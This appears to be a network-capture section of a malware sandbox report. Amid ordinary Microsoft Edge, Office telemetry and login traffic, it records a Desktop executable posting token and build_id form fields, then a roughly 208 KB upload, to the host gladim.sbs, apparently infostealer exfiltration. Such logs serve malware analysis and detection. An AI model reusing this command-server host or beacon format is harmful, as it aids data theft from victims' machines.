2024-12-02 00:34:33 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	49781	94.245.104.56	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:33 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-02 00:34:33 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 02 Dec 2024 00:34:33 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=a587c58b7add197be0a9663062a92023b083c99ba7c79b57ef31f5e62dbb3c2f;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	49794	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:35 UTC	318	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIJJKKFHIEHJKECGCGC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 3165 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:35 UTC	3165	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 45 43 47 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 45 43 47 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 45 43 47 43 47 43 0d 0a 43 6f 6e 74 Data Ascii: ------FIIJJKKFHIEHJKECGCGCContent-Disposition: form-data; name="token"b08d2d0a84779662dfbff4542a110b35------FIIJJKKFHIEHJKECGCGCContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------FIIJJKKFHIEHJKECGCGCCont
2024-12-02 00:34:36 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-02 00:34:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:35 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:35 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003435Z-174f7845968ljs8phC1EWRe6en00000013dg00000000nbsw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:36 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:35 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:35 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003435Z-174f7845968kdththC1EWRzvxn0000000g0000000000d4du x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:36 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:35 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: cdcb5222-c01e-0014-44bd-42a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003435Z-174f7845968cdxdrhC1EWRg0en00000013q0000000006fnr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:35 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:35 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 6644a72f-f01e-001f-6d66-435dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003435Z-174f7845968frfdmhC1EWRxxbw00000013p000000000g7yu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:36 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	49796	20.190.181.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:36 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-12-02 00:34:36 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 00:34:36 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 00:33:36 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: 5558f71f-cc4b-45fb-9bda-95a5fc4d5b83 PPServer: PPV: 30 H: PH1PEPF00011E41 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 00:34:35 GMT Connection: close Content-Length: 1276
2024-12-02 00:34:36 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	49802	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:36 UTC	320	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKEHIJJKEGIDHIEHDAF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 207993 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:36 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 Data Ascii: ------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="token"b08d2d0a84779662dfbff4542a110b35------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------DAKEHIJJKEGIDHIEHDAFCont
2024-12-02 00:34:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 